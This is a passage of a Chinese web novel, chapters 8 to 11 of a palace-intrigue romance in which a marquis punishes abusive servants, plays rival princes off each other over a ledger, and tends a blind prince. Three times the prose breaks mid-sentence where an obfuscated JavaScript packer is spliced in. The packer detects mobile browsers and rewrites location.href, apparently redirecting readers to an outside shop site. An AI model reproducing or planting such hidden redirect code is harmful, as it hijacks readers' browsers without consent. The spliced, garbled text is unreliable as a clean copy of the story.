“小公鸡,点点点,点到谁,就是谁……哎,是你呀。” 薛俨跟阎王爷似得,点出来一个,就意味着他的死期到了。 蓝瞳在薛俨耳边低语了句,“这个狗东西好男风,还想摸殿下的手来着,得亏是花穗姐姐给瞧见将他呵斥出去。” 薛俨点点头,“瑞儿,你把他衣裳扒了,裤衩也不用留,趁晚上绑到京中人流最多的南风苑去,一个铜板就能随便摸,要是赚了什么脏钱,你自个儿拿着花。” 那太监在晋阳宫里想必是胡作非为惯了,半点儿干瘦的迹象没有,反倒是养得白白胖胖的,罩住那张丑脸,应该也有人会想玩一玩太监。 薛俨继续点,又点着俩宫女。 “她们俩偷殿下的东西拿出去卖,还克扣他的膳食,要给钱才能买,殿下自小带的玉牌可是贤妃娘娘从宝华寺求来的,也被她们给卖了,却只给算了三两银子。” 薛俨手一伸,松烟递上来一根鞭子,他在地上抽了两下,听得破空声响起,这东西若是抽到人的身上,不死也得脱层皮。 “我这手艺可是在军中专打细作的,要不然你们俩互相打,要是听得声响不够,可就换成我打了,保管你够疼,但又死不了。” 那俩宫女哆哆嗦嗦的,其中一个在逼迫下终于扬起手啪地一声打在另一个宫女脸上,另一个宫女捂着脸直掉眼泪,也扬起手打了过去。 “啧,这点劲儿,没吃饭吗?”薛俨说着把鞭子交给蓝瞳,“你去给她点颜色看看。” 蓝瞳拿了鞭子,又有薛俨撑腰,气势汹汹地冲了过去,一鞭子抽过去,顿时鲜血淋漓,那宫女尖叫一声摔在地上。 薛俨翘起二郎腿摸着下巴,“我觉得我好像一个恶毒反派啊。” 赵禛问:“什么是反派?” 薛俨道:“就是欺负人的坏蛋。” 赵禛笑了下,“那你不是,你的手段比起毁堤淹田可差远了。” 蓝瞳打了一会儿也打累了,望向剩下几个被吓得几乎晕厥过去的人,又点出一个关键人物,“还有他,他给殿下送来的绿豆粥是有毒的,所以才害得殿下的眼睛……” 蓝瞳说着声音都哽咽起来了。 薛俨吃樱桃的动作慢了下来,眸光突然变得锐利盯上了那个老太监,同那些个玩阴谋诡计的王孙贵族不同,他是在战场上真正杀过人的,他眼神一变,便是要杀人了。 那老太监顿时吓得尿了裤子,根本顾不得磕头,扭头就跑,随后听到啪地一声,伴随着惨叫声响起,那老太监摔在地上抱着腿骨抽搐几下,已经疼得喊不声了。 薛俨不知何时已经接过了蓝瞳手里的鞭子,居高临下地俯视着他,老太监蜷缩在阴影下,止不住得哆嗦。 啪地又是一声,长鞭扫过眼睛,顿时血肉模糊,血痕顺着脸颊划过,可怖地像鬼一样。 薛俨眼底怒气未消,依旧死死地盯着他,此刻院中的人已经都说不出话来了,谁也不敢发出半点儿声音。 薛俨手上力道大,两鞭子下去几乎要了对方的半条命,站也站不了,爬也爬不走,但他又是刻意挑的不致命的地方打的,保管让他死不了继续受罪。 薛俨扔下手里的沾血鞭子,冷声道:“给他上药,别死了。” 至于这些人都是受了谁的指使,他根本不肖得问,除了外面的12578还能有谁? 薛俨把鞭子扔给了蓝瞳,蓝瞳也是憋屈了大半年,这会儿全部发泄了出来。 院中不断有惨叫声传来,薛俨听得不舒服,又叫人堵住了他们的嘴。 正逢东风吹过,一树桃花吹落,薛俨往嘴里送了颗樱桃,又挑了个圆滚通红的塞到赵禛嘴里。 “起风了,我推你回屋坐着吧。蓝瞳跟了你那么多年,应当会按照你的心意帮你们报仇的。” “我只处理了些无足轻重的小鬼,其他的魑魅魍魉,等回头你的眼睛好了,你自己处理如何?想审什么想问什么,我都叫他们留着一条命在。” 有些仇,还是得亲眼看到、亲手来报才能抚平心里的阴影。 赵禛吃下嘴里的樱桃,甜甜一笑,“好。” 俩人进屋没一会儿,先前被薛俨派出去打听消息的小子也回来了。 这小子叫苏恒,他爹是军中负责探听消息的斥候,他耳濡目染也学了一手绝活,因着跟薛俨年岁差不多大,他爹死后,剩下孤零零一个人,就跟了薛俨,平日里专门替他打听些劲爆的八卦。 “侯爷,侯爷,我打听出来了。哎呀,这事可太有说道了,给我整一脑门汗。” 薛俨见他跑得气喘吁吁的,把家乡口音都逼出来了,顺手给他递了杯茶。 苏恒一股脑喝光了茶,拍了拍胸脯,“这事儿得整老大了。” 薛俨眼放精光,抬手挥散了屋里伺候的人,只留下苏恒和赵禛,甚至特意关上了门。 苏恒道:“且说那妇人的男人可是十里八乡有名的好木匠,顺天府衙门修缮的事自然而然就找上他了,结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338480|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果这才没两天的事,他男人就叫梁木砸死了,我去的时候兵马司的人正催着埋尸呢。” “等他们一走,我又带人把坟给刨了,照侯爷说的又请了个仵作,那男人根本就没什么病,就是被人打破脑袋死的,纯粹他们顺天府的人瞎扯淡,真他娘的损阴德的狗玩意儿。” 苏恒愤愤不平地骂了半天。 “后来那妇人说当天死的不止是她家男人,还有一个木材厂的账房先生,我就又顺藤摸瓜查过去了,那个账房膝下就一个闺女,小闺女性格绵,就没跟那妇人似得大闹衙门,那顺天府欺软怕硬的,就给了人家一吊钱的棺材钱。我也叫仵作验了尸,死法跟那个男人一样。” “我听那小闺女说,她爹死的头一个晚上就惶惶不安的,还提前交代了遗言,她也觉得事情不对,但她一个弱女子,也干不过那帮官兵老爷的,如果您愿意帮她的话,她想见您一面。” 薛俨听完拍了拍他的肩膀,“干得漂亮,银子还剩着多少?” 苏恒拿出荷包,还剩下一半多的银子,他递过去,薛俨手背轻轻一推,“都是你的了。” “真的?”苏恒嘿嘿一笑将荷包塞进了袖子里。 等苏恒走后,薛俨的神色安静下来,不知道从哪摸了把折扇,在手心啪嗒啪嗒地打着,眸光幽幽。 “她要见我,看来她手上有些东西。但既然我能查到,想必大皇子和太子也会顺藤摸瓜查过来,这姑娘的小命危矣。” 而旁边一直安静的赵禛也道:“那你不妨给她指条明路,应该有人会迫不及待想要这个东西。” 赵禛想了想,话音一转笑道:“不,应该是两个人都想要。” 薛俨眉梢一挑,“你的意思是……” 赵禛抿唇笑道:“有何不可呢?” 薛俨恍然大悟,脸色一喜,“宣卿啊宣卿,我算是知道为什么你的兄弟们不惜联手对付你了。” 他垂眸开始盘算这件事,突然听到清脆的茶杯碎裂声,一抬头就看到赵禛茫然地坐在轮椅上,衣襟被茶水打湿,还沾着茶叶。 薛俨连忙上前一步,伸手碰了下赵禛的腿试探温度,“有没有烫到?” 赵禛摇了摇头,“不烫。” 那茶碗质量好,经过赵禛腿上这一转弯,滚在地上也没碎,薛俨将它捡起,又到衣柜前取了件干净的衣裳。 里面各样的锦绣华服全部是按照薛俨自己的审美给赵禛新做的款式,反正赵禛看不见,这衣裳也是穿给他看,他自己养眼便好。 小孩子就是要穿得明艳活泼些。 他顺手又挑了件自己喜欢的粉色春衫,衣料轻薄如雾,袖口以金线绣满赤金桃花,外袍层叠着件半透的浅粉薄纱,腰间还坠着金色花饰,珍珠金链错落,极为好看。 他当时瞧见这衣裳的第一眼就觉得适合赵禛,赵禛是很漂亮的长相,若是再好生打扮下,肯定会迷倒众生。 他拿好衣物,重新蹲到赵禛面前。 “蓝瞳这会儿正玩得高兴呢,别打扰他了,我帮你换衣服。”他说着就要扯赵禛的腰带。 赵禛双手死死扒着腰带,从齿缝中挤出几个字,“不用,我可以自己换。” 薛俨道:“你连裤子正反面都分不清,你怎么换?还是我帮你换吧,大家都是男人,你有什么好害羞的?来,我帮你脱光。” 他像个恶霸似得开始扒拉赵禛的衣裳,而赵禛则像个纯情少年拼死护着,甚至脸颊都涨红了,“薛俨!” 9. 第 9 章 赵禛的力气肯定是拗不过薛俨的,眼看自己的腰带被人拽断,外袍也被人扒掉,裤子就快要保不住。 他只能惊喊道:“你可以将裤子正面朝上放在床上,我会自己摸索着穿戴。” 薛俨手上拉扯动作不停,“不行,我还得看看你有没有烫伤。” 赵禛素来是冷淡的性格,今日却是脸色通红,说话都带了急音,“那茶水放了许久,早就凉了,若是有烫伤,我会自己说的。” 薛俨见他玩命护着自己的裤子,誓死不罢休,这才堪堪松手,他将赵禛不好分辨的衣裳放在床上,转身出去了。 听到脚步声渐行渐远,赵禛终于舒了一口气,摩挲着开始解裤腰带,过了一会儿,他似是感觉到不对劲,眼睛空洞地盯着某个方向。 “你根本没走对吧?” 角落里薛俨盯着自己的脚尖有些心虚,他并不是想变态到想偷看别人换衣服,而是今天听蓝瞳说有嬷嬷曾经故意用针扎过赵禛,他才开始想:赵禛身上会不会还有其他的伤? 赵禛性子沉闷冷淡,又是十七岁的青春期少年,万一他身上有什么伤,却不愿意开口求助呢? 所以他才刻意把茶杯放得离赵禛近了些,想等换衣服时,趁机看看赵禛身上还有没有别的伤痕。 可恶,之前赵禛发热昏倒任人宰割的时候,他怎么没想到把人扒光了看一眼。 薛俨不说话。 赵禛皱了皱眉,他听错了? 他正要继续脱裤子时,外头突然推门闯进来一个人,一眼瞧见角落里的薛俨,薛俨满眼惊恐,下意识慌乱摆手,但根本来不及阻止对方开口。 “侯爷,可算找到你了。” 赵禛愠怒,从桌上抄起刚才的茶杯就丢了过去,怒骂道:“薛俨!” 薛俨闪身躲过顺手接住了那只可怜的茶杯,讪笑一声,将茶杯稳稳放下,“我不是故意的,我这就走,马上走,肯定走。” 他说着气得拍了下那个害他被人发现的小厮的脑袋,“你最好有天大的事。” 小厮吃痛,捂着脑袋道:“陛下身边的公公带来了几个太医,说是给夫人看伤的,正在外头等您呢。” 薛俨一听,头也不回的过去了,“还真是天大的事。” 前厅里来的正是皇帝身边的大太监李德忠,他身后还站着两个穿着太医院服饰的人提着药箱子,瞧见薛俨过来,李德忠急忙露出笑脸。 “见过侯爷,咱是奉陛下旨意,请太医来给六殿下看伤的,不知殿下何在啊?” 薛俨也笑道:“多谢公公。” 他又遥遥朝着皇宫方面拜了拜,“多谢陛下,这可真是皇恩浩荡啊。” 他引着李德忠往后院走去,先前那几个被薛俨打过的恶奴们早就被人堵着嘴关起来了,院子里清风徐徐,连一丝血腥气都找不见。 “宣卿,父皇派太医来看你了。” 薛俨推开屋门,赵禛已经换好衣裳坐在轮椅上等着了,那件桃色春装穿在他身上果真极为惹眼,薛俨眼底闪过一抹惊艳。 “咱家见过六殿下,按照陛下的意思,叫太医来给您瞧瞧。” 赵禛嗓音沙哑,“替我多谢父皇。” 他露出一截手腕,由那两名太医看了半天,又问了些细节的事,俩人对视一眼,俱是看到了对方的探查结果。 薛俨站在一侧,眼底也蒙上一层幽光。 其中一个太医道:“六殿下身体虚弱,还需好生养着,臣写一道方子,或对眼睛有奇效,至于腿疾,另有黑骨断续膏的古法,待臣熬制完毕再差人送来,每日涂抹,或许用不了几个月就能下地走路了。” 太医写了方子,交给薛俨。 薛俨一看,“哎呀,这可真是神医,我还以为宣卿所患之疾乃不治之症呢,等宣卿身体好了,我一定亲自去府上拜谢两位。” 太医连忙回礼,“不敢当。” 几人又寒暄了几句,薛俨亲自将他们送出了院子,又叫了两个机灵的小厮引他们出府。 等他们一走,薛俨的神色瞬间冷了下来,“把府里那三个大夫叫过来。” 上次那三人给赵禛看完病情后,为了方便随时诊治,薛俨给他们在府里准备了房间,吃食住行全部包管,他们只要专心研治赵禛的眼睛和腿疾便可。 等三个老大夫急匆匆赶来时,桌上放着一个药方,屋内气压低得吓人。 “去看看那方子有没有问题?”薛俨指尖微屈不断在桌面上叩动,面无表情,不知在想着什么。 三人拿起方子,凑在一块儿研究了半天,而薛俨指节有力而节奏地叩动着,一下一下像是打在三人心上,然而这方子并非寻常的方子,他们不过是民间的大夫,怎么能跟太医署的全国汇聚的名医相提并论呢? 突然,姓钱的大夫嘶了一声,“我想起来了,我曾在古书上见过这方子,但好像又不太一样,有几味药材改了剂量。” 钱大夫道:“我回去把古书取来。” 不待他出门,松烟便拦住了他,“我跑得快,我去取。” 钱大夫交代了古书存放位置,松烟跑得很快,没几息的功夫便气喘吁吁地将古书递到了钱大夫手中。 钱大夫翻了两页,惊喜道:“果然是这道方子,剂量克重换了,这救人的药便成了害人的药,出方之人简直其心可诛!” 桌面屈指叩动的声音陡然停了,像是一根紧紧绷起的琴弦,已经在断裂的前沿,稍有不慎,就会啪地一声断掉。 钱大夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338481|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额前冒出一层冷汗,在那琴弦断裂前夕开口道:“先前说夫人的眼睛难医,是没有找到合适的方子,现在正好可以用这道方子,我可以试着改成正经的治病良方。” 紧绷的琴弦终于有所松动,屋内骇人的气息也随之烟消云散。 薛俨脸上散去阴云,“赏。” 松烟取来了银子,在钱大夫要拿的那一刻,冰冷的声音再次响起,“我的宣卿不是你的实验对象,你若能治好他,我会接着赏你,若是出了差错,我要拿你的眼睛来抵。” 钱大夫扑通一声跪下,“是。” 松烟这才将银子递过去。 薛俨又问:“听说过黑骨断续膏吗?” 这次是一位姓孙的大夫道:“是一种好药,但并不适用于夫人的腿疾,夫人身上骨头错位,若是滥用此药,骨头会继续错位生长,虽能下地行走,但会落下坡脚的终生残疾。” 薛俨的脸色再次阴沉的可怕,“你上次说要等夫人的身体养好才能重新接骨,要等到什么时候?” 李姓大夫道:“断骨重接会耗损气力,至少要等一个月后,夫人的气血养足,否则会很难熬,而且我没有太大的把握,还得再研究一下具体的办法。” 薛俨挥了挥手,将他们哄散。 屋内再次只剩下俩人,赵禛道:“他想让我一辈子这般可怜,他想让我永远也不能去夺他最爱的太子的皇位。” 太子是嘉平帝最爱的皇后所出,子凭母贵,即便太子庸弱无能、好色无度,他依旧是嘉平帝最喜爱的儿子。 “不论是我,还是大哥、三哥,都是太子的磨刀石,他想让太子踩着我们的尸骨上位,用我们来让太子成长为一个合格的储君,除了太子,他不在意任何一个儿子。” 嘉平帝爱元后,所以用后宫所有女人的命给她铺路,让她做皇后,让她的娘家哥哥做丞相,他更爱元后生的孩子,所以用后宫其他孩子的命来给他的儿子铺路。整个后宫,除了元后和她的儿子,其他人都是草芥。 当然,他爱儿子,更爱自己,他允许自己百年之后由儿子继承自己的皇位,但决不允许自己还活着的时候,被人觊觎自己的皇位。 赵禛说着,陡然落入一个温暖的怀抱,宽大的掌心抚过他的后背,一下一下地轻轻拍着宽慰。 他说:“我在意,我在意,宣卿。” 薛俨一连说了两遍,生怕赵禛不信似得拍着他的背,让他有所依靠。 其实这一点赵禛从幼年时就已经看透了,而嘉平帝心里是否有他这个儿子根本就不重要,毕竟他也只是单纯的想要皇帝的那张龙椅而已。 但薛俨好像觉得他很在意,甚至一直在想办法哄他……? 嗯……好像也没必要解释。 10. 第 10 章 晚上,京城内某条巷子的一户人家。 身穿素白孝服的女子正在守灵烧纸,烟灰四散,身后突然走出来几个人,阴影投射,将孝服女子全然遮盖进去,压迫感十足。 女子瞧着地板上的黑影,身躯有些颤抖,但依旧壮着胆子道:“我知道你们想要什么,确实在我这里。” 她缓缓起身,从袖中取出一物,扑通一声跪在黑影面前,眼泪行行落下,“求大人为民女做主。” 那人疑惑道:“有人来找过你?” 她道:“是,有人告诉我,要我将这本账册交到您的手里。” 那人伸出一只手来。 女子却并未交出,反而紧紧抱在怀里,小心翼翼道:“五百两。” 那人一愣,“什么?” 女子面容坚毅,“五百两我就卖给你,您总要给小女子一些安身立命的银子吧。” 那人眯着眼睛,举起长刀,这时旁边的人却拉了拉他的衣角,摇了摇头,低声道:“不宜生出事端。” 那人放下长刀,从腰间扯出来一块玉佩,质地温润,一看便很值钱。 女子收到玉佩,这才将账册递过去。 那人拿到后翻开看了几眼,一摆手,乌压压的人群退了出去。 等他们走后,女子才擦了擦额间的冷汗,虚弱地跌坐在地。 然而没一会儿的功夫,又来了一拨人。 梅开二度,女子照旧擦了擦眼泪,跪在那伙人身边,小白兔似得抱了本新的账册,柔柔弱弱地开口,“五百两,我就卖给你,就当作是家父的丧葬费。” 这次的人很是豪爽,但他身上却没带什么值钱的物件,几个人将身上的银子银票全部加在一起,硬生生凑足了五百两。 等这波人也走后,女子迅速从地上爬起来,开始收拾行囊,动作极为麻利,连身上的孝服都扯了下来。 从暗处走出一人,正是薛俨府中的苏恒,此刻他穿着一身黑衣,腰间别着佩刀。 苏恒道:“我家主人说了,今夜你必须出城,我会派人护送你到安全的地方,以后你要改名换姓,不再提今日之事半个字。” 女子将包袱扛在肩上,神情恭谨,“是是是,多谢大人救我性命。” 苏恒又道:“至于你父亲的事,其中牵扯太多,涉及到上面的贵人,就让他们去争吧,不是我等平头百姓可以争出对错的。” “玉佩给我,你当不出去,我拿现银跟你换。” “这一千两银子你拿走七百两,足够你后半生衣食无忧了,剩余的三百两我要拿到木匠家里去。” “切记,不可再回城,否则他们看完账册就会回来要你的命。” 苏恒将女子送上马车,趁着还未宵禁,连夜驾着车出了京城。 * 此时,大皇子府。 大皇子赵缙看着眼前的账册,越看越欢喜,最后竟拍着桌子叫起好来了。 “有意思,这个木材厂真是干了不少好事啊,他们怎么敢的呀?老七,老八,你们快看,这么多银子,那可是银子!不是白花花的面粉。” 八皇子赵鸿笑道:“太子有这么大的把柄落在我们手里,他怕是要完蛋了。” 七皇子赵钧则不敢苟同,“区区一本账册可扳不倒太子殿下,但也能把他们扯下来一块肉。大哥,这账册是如何得到的?就这般轻而易举地拿到了?” 大皇子道:“我也觉得奇怪,回来的人称那女子似乎早就等着我们似的,说是有人教她的。” 八皇子赵鸿不解,“有人?谁?” 七皇子撂下茶杯,眸中闪过一道暗光,“临淄侯,薛俨。” 八皇子一惊,“薛俨?他会帮我们?” 大皇子道:“对!今日在贵妃宫殿,薛俨讲的那个故事,应该就是为了提醒我们去顺天府抓太子把柄,他是要送我们一件大礼啊。” 八皇子道:“可是太子不是也听见了吗?” 七皇子道:“可太子手里又没有账册,他应当是不方便和我们私下见面。” 大皇子道:“这么说来……他想投靠我们?也对,临淄侯在京中并无根基,还娶了老六那个废物,他想在朝中站住脚,要么选择我们,要么选择太子,我听说他今日还嘲讽了老五一番,恐怕是打算选择我们了。” 八皇子嗤笑一声,“当初六哥在朝中时给我们闹过多少麻烦?我们可是好不容易才把他赶下去的,现在他傍上了临淄侯,你们就不怕他卷土重来?” 大皇子摇了摇头,“今日有太医去过临淄侯府,老六的身体甚至都熬不住父皇,一个瞎子、站都站不起来的废物,还妄图染指朝政?” 七皇子道:“大哥说的不错,没有永远的敌人,只有可以相交的朋友。六哥已经废了,而临淄侯既然给我们送了大礼,我们又何必把他推到太子那里去呢?” “但我们还是得提防着赵禛,他比太子还要可怕呢,一旦卷土重来,我们都得死在他手里。” 八皇子问道:“临淄侯到底为什么要娶他?真是因为方士所说要一个命贵的男妻镇宅?” 七皇子眸色阴沉道:“或许有此原因,但应该也是想告诉父皇,他不参与党争。” 这个临淄侯并不简单。 * 此时,太子府。 太子赵乾看着眼前的账册,越看心越凉,越翻越觉得自己的脑袋即将离自己而去。 “蠢货,一群蠢货,竟然还叫人弄出来个阴阳账册,幸好本宫及时叫人把账册买了回来,否则这东西要是递到父皇跟前,我们都得死。” 他的身前跪着几个身穿官袍的男人,乌泱泱地磕头饶命。 其中一个人出主意道:“殿下,要是出了什么事,干脆就拿那个人顶罪,他本来就只是个澶州小官,正好趁此机会,将他除去,以绝后患。” 那人做了一个手起刀落的手势。 太子骂了半天,终于骂累了,往身后的椅子上一坐,端起茶碗喝了一口,“本宫不管你想拿谁顶包,这种事往后不可再出第二回了,这次要不是……临淄侯……” 他语气顿了顿,“多亏他今日拿闹剧当笑话讲出来,提醒了本宫,又提前联系了那女子,将账册拿出来,否则本宫真是要被你们害惨了。” 旁边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338482|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五皇子赵临道:“二哥怎么确定是临淄侯帮的我们?而且老大不是也听见了吗?万一他是说给老大听的。” 太子在他脑袋上敲了一下,“蠢货,不是临淄侯还能是谁?派去拿账册的人回来说,是有人告诉那女子将账册拿给我们的,总不能是老大的人吧?再说了,账册是在我们手里,老大又没有账册。” “今日贵妃宫殿,我还以为他是想投靠老大,现在看来,他讲顺天府外的闹剧实则是为了提醒本宫顺天府出了事……” 五皇子赵临道:“他今日还在殿外羞辱于我。” 太子气道:“那是为了故意掩人耳目。” 赵临很讨厌薛俨,但此时又不得不承认太子说的有道理,除了临淄侯,不会有第二个人动作更快。 太子得意道:“老六已经是个废人了,这辈子都好不起来,临淄侯只能选择投靠本宫。” 太子身侧还坐着一位灰鬓老者,那人吹了吹面前的茶,“太子,不可放松警惕,临淄侯只是投石问路,你不能完全信任他,六皇子出了晋阳宫,就有一万种卷土重来的手段,我们要小心防备。” 太子一惊,“外祖父,那怎么办?” 严相道:“老臣会派人盯着他们的,只要六皇子的身体不好,做什么都是徒劳无功。” 底下顺天府跪着的人道:“殿下,那账本是事……大皇子他们绝非善类,若是他们也有耳闻,恐怕会有所动作,要不先把那女子杀了……” 太子幽幽道:“那你们今晚就别睡了,赶紧把账目核对干净。” * 此时,临淄侯府。 屋内燃着烛火,人影垂落。 薛俨随意地披着件外衣,盘腿坐在榻前正在冥思苦想自己的棋局。 赵禛也已经除去华丽的外衣,青丝长发只用一根玉簪挽着,正在屏风后头洗漱。 屋外响起敲门声。 得到回应后,苏恒走了进来,抱拳道:“侯爷,照你吩咐的都办妥了,果真有两拨人来买账册,那女子也已被我亲自送出了城,咱们的人接应走了。” 薛俨唇角淡淡扬起一个弧度,啪地一声落下最后一子,手指修长有力,动作潇洒自如,眉宇间自有名士风度。 苏恒往棋盘上瞅了一眼,又默默地收回来视线,自觉地退了下去。 屏风那头洗漱的水声停了,赵禛转着轮椅出来,听到棋子碰撞的声音,“侯爷在下棋?” “是啊。”薛俨随口道。 “下的什么棋?”赵禛觉得有些有趣,薛俨竟然还会下棋? “额……”薛俨看着自己的棋盘,“我也不知道它叫什么棋,少钦说思考的时候可以试着下棋组织思路。” “蓝瞳,侯爷下得什么棋?” 蓝瞳是自小就跟在赵禛身边的,赵禛懂棋,蓝瞳耳濡目染自然也知道些棋谱。赵禛等着从蓝瞳嘴里听出什么高深的棋谱来。 蓝瞳认真道:“侯爷用棋子在棋盘上摆了一个圆圆的笑脸。” 赵禛:“……” 薛俨讪笑一声,扔下棋子,“我又不会下棋,摆个笑脸已经是我的至高诚意了。” 11. 第 11 章 薛俨调职回京,但朝廷却一直没给出调任的文书,他便只能闲赋在家,闲着没事陪赵禛逗逗鸟、玩玩猫、钓钓鱼,春日艳阳,河面的冰早化了,里头养了不少金红的锦鲤。 檐廊下两只鸟儿越发活跃,院子里栽的几株桃树落得满地粉白,薛俨又叫人栽了些赵禛喜欢的牡丹,等到了五月开花的季节,没准儿赵禛的眼睛正好也好了。 松烟在地牢里把晋阳宫带出来的那些人全部审了一遍,记录交到了薛俨手里,薛俨只看了一眼,便再也看不下去了。 去年十月,晋阳宫烧了一场火,毁了半个宫殿,赵禛死里逃生。 去年十一月,赵禛下楼时被人恶意丢下几颗珠子,滚落楼梯摔折了腿。 去年十二月,原就病弱的赵禛被人推入腊月冰河,大病一场,丢了半条命。 今年一月,赵禛病重,蓝瞳求来一碗绿豆粥,赵禛只吃了一口便口吐鲜血,从此不能视物。 …… 薛俨一颗心一点点地沉下,眼里的心疼都快漫出来了,久久不能平复。 皇位之争残酷,竟半点不顾及骨肉亲情,每一个人都想要宣卿的命。 他缓了许久,烧了那审问记录。 “看管好他们,在宣卿身体养好之前,一个也不许死,但也不能叫他们好好活着。” 那一把刀悬而不落,才是最折磨人心的,就像宣卿在晋阳宫里时时提防那样提心吊胆。 “是。” 薛俨收拾好心情,往赵禛处去了,赵禛正在听戏班子唱戏。 “今早儿云娘送来根上好的山参,我问了钱孙李他们三个了,跟你吃的药并不冲突,我叫人剪了参须给你做成药膳,每日午睡醒了当做小餐。” 那三个大夫也算是有几分医术,几贴烧钱的汤药灌下去,再加上连日的精养,赵禛的气色比起新婚那晚不知红润了多少,连说话的声音也有了力气。 在草长莺飞的三月春天,赵禛也像是枯枝抽出了丝丝嫩芽。 “多谢哥哥。”赵禛浅浅一笑。 他身上仍裹着件狐裘大氅,已经很熟练地端起旁边的茶杯,鼓起脸颊吹了吹水面,轻抿了一口。 对面的戏班子正咿咿呀呀地唱着,赵禛虽然眼睛瞧不见,但耳朵却是好使,薛俨便叫人请了个戏班子,时不时唱些曲目。 “侯爷。”松烟绕过人群,走到薛俨跟前,“前厅来人了,说是朝廷给侯爷的调职文书到了。” “哦?”薛俨撂下茶碗。 等他到前厅时,吏部的官员已经在候着了。 “见过侯爷,实在是朝中没什么空缺,这几日吏部好不容易找着个合适的,叫侯爷久候了,可惜官职小了些,侯爷先顶着,若是以后有更合适的,再给侯爷调过去。” 薛俨笑道:“多谢何侍郎,为了我的事还亲自跑一趟。” 吏部侍郎何云升笑笑,低声朝薛俨道:“不是我要来,是大殿下说侯爷是自己人,要我一定过来叨扰一二。” 薛俨哦了一声,看向吏部侍郎的眼底也多了几分心照不宣。 薛俨打开调职的文书,上面明晃晃写着要调他去做兵部驾部司郎中,掌管舆辇、车乘、驿站、牧马等。 何云升道:“虽只是一个五品官职,但掌管整个驾部司,处理公务也是在驾部司内进行,同兵部的尚书、侍郎等都不在一处。” 言外之意就是整个驾部司全归薛俨一个人管,他的上级领导和大领导都不在这个办公室里,他一个人独大,想做点什么也不会收到上级的制衡管辖。 薛俨收下文书,“代我谢过大殿下,我刚回京,好多双眼睛盯着,不便公开拜见。” 吏部侍郎大笑道:“好说,好说,我定会代为转达。” 俩人又寒暄了一会儿,薛俨又叫人拿了块普通的茶饼,在底下铺了一层金子,用纸包好,当做见面礼。 吏部侍郎上手一掂便知道轻重,甚至里头放了几两银子几两金子都猜了个七七八八,一双本来就不大的眼睛更是眯成了一条缝儿。 等送走吏部侍郎,赵禛才转着轮椅从后面的屏风处走出来。 赵禛笑道:“你贿赂他了?” 后头薛俨送茶饼的时候只说是从西北带回来的特色叫人拿回去尝尝,赵禛看不见,但他听得出那吏部侍郎得到茶饼后,声音有多喜悦,想必不是普通的茶饼。 薛俨搓了搓手,嫌弃道:“我不干净了,我贿赂贪官了。” 赵禛哑然失笑。 薛俨虽然是武将,但他还挺懂为官之道的,这一点,从上次回门薛俨直接对着皇帝喊“父皇”时他就知道了。 薛俨为人清正刚直,他或许不喜欢官场的弯弯绕绕,但如果把他扔到这个围墙里,他也能混得如鱼得水。 薛俨将文书拿出,“陛下封我为五品兵部驾部司郎中,方才来的吏部侍郎,话里话外都在告诉我,是大皇子给我的差事,看来他已经接受我们的示好。 ” 赵禛笑道:“他素来是会结交人心的,否则也不能跟太子平起平坐。最近三皇子在南方打了胜仗,得到不少武将的支持,他想用你对付老三。” 薛俨将文书收好,叹了口气,“一点都不想跟那帮文官打交道。” 薛俨原是跟随父亲在外征战,父亲战死后,他就成了家里的独苗苗,祖母生怕他也死在外头,便往宫里递了折子,请陛下把他调职回京,正好陇西九城收复,皇帝也不好叫忠臣良将绝后,便允了。 武将变文官,他还有很长的路要走。 尤其是那些文官的套路,肯定很长。 回到内院,赵禛继续听戏去了。薛俨则回屋将自己明日第一天任职要带的东西收拾了下,又顺便试了下吏部侍郎刚一并拿来的官袍。 五品绯色官袍,通身绣以暗花云纹,腰带皮革上镶以金带,日光下将衣袍晃出点细碎的金光,原是普通的制式领袍,穿在薛俨身上竟有种得天独厚、清贵疏朗的气质。 他虽是武将出身,身形却并非粗狂魁梧,反而像几分清贵文臣,又比孱弱书生多了些力量感,绯袍披在身上刚好合身,单薄的衣料下还能感受到那层鼓起的薄肌,金色腰束勾勒着劲窄的腰身,双腿修长隐于官袍之下。 薛俨从铜镜中看了几眼自己很是满意,转而抬脚出了屋,“宣卿,宣卿!” 他大步迈去,两三步走到赵禛面前,抓着他的手覆到自己身上,兴冲冲道:“我的新官袍,五品浅绯色,你应该见过的,要是你眼睛能看见,此刻就能瞧着我穿官袍的样子了。” 薛俨蹲下身,又将赵禛的手放到自己的官帽上,“不过没关系,宣卿,你摸摸我,就能想象到了。” 赵禛的手被他抓得指节有些僵硬,但还是顺从地双手覆盖在他的官帽上一寸寸摸过,又顺着帽身,落在薛俨的脸上。 